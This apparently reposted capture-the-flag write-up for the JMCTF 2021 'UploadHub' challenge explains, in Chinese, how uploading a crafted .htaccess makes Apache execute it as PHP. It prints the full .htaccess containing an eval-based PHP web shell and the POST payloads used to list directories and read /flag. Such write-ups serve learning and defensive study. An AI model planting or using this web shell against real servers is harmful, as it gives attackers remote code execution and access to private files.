当前位置: 首页 > article >正文

[JMCTF 2021]UploadHub

题目

上传.htaccess就是修改配置文件

<FilesMatch .htaccess>
SetHandler application/x-httpd-php 
Require all granted  
php_flag engine on	
</FilesMatch>

php_value auto_prepend_file .htaccess
#<?php eval($_POST['md']);?>

SetHandler和ForceType
强制所有匹配的文件被一个指定的处理器处理 用法:

ForceType application/x-httpd-php
SetHandler application/x-httpd-php

那么这里就是将.htaccess文件解析为php

Require all granted  #允许所有请求
php_flag engine on   #开启PHP的解析
php_value auto_prepend_file .htaccess 在主文件解析之前自动解析包含.htaccess的内容

 

 

md=var_dump(scandir("/"));

md=var_dump(file_get_contents("/flag"));

 执行命令绕过获取flag

拿下flag

flag{07793544-65b6-4613-be56-3574d880120f} 

这样做似乎有点局限性就是隔一段时间就得重新上传.htaccess文件才能解析成功


http://www.kler.cn/a/521943.html

相关文章:

  • 算法的时间复杂度
  • SpringBoot中@Valid与@Validated使用场景详解
  • c#使用log4Net配置日志文件
  • doris:HLL
  • Airflow:精通Airflow任务依赖
  • 智慧园区系统集成解决方案构建智能管理新模式与发展蓝图
  • 前端版本号管理:理解和应用
  • Golang的协程同步实现
  • 自制免费联网搜索API供AI使用
  • 进程池的制作(linux进程间通信,匿名管道... ...)
  • 【MySQL】存储函数
  • 主机监控软件WGCLOUD使用指南 - 如何设置主题背景色
  • 第05章 07 切片图等值线代码一则
  • 深入了解 npm 和 pnpm:前端包管理工具的选择与比较
  • LQ1052 Fibonacci斐波那契数列
  • kotlin 简介
  • TikTok广告投放优化策略:提升ROI的核心技巧
  • OpenSIPS-由浅入深编译更多可选模块
  • Go优雅实现redis分布式锁
  • CAS是什么?ABA会带来什么影响?怎么解决ABA问题?
  • Blazor-Blazor Web App项目结构
  • Hive数据仓库中的数据导出到MySQL的数据表不成功
  • 4、PyTorch 第一个神经网络,手写神经网络的基本部分组成
  • 银行卡三要素验证接口:方便快捷地实现银行卡核验功能
  • 网络安全态势感知:企业数字化转型的 “安全密钥”
  • SCRM在企业私域流量与客户管理中的变革之路探索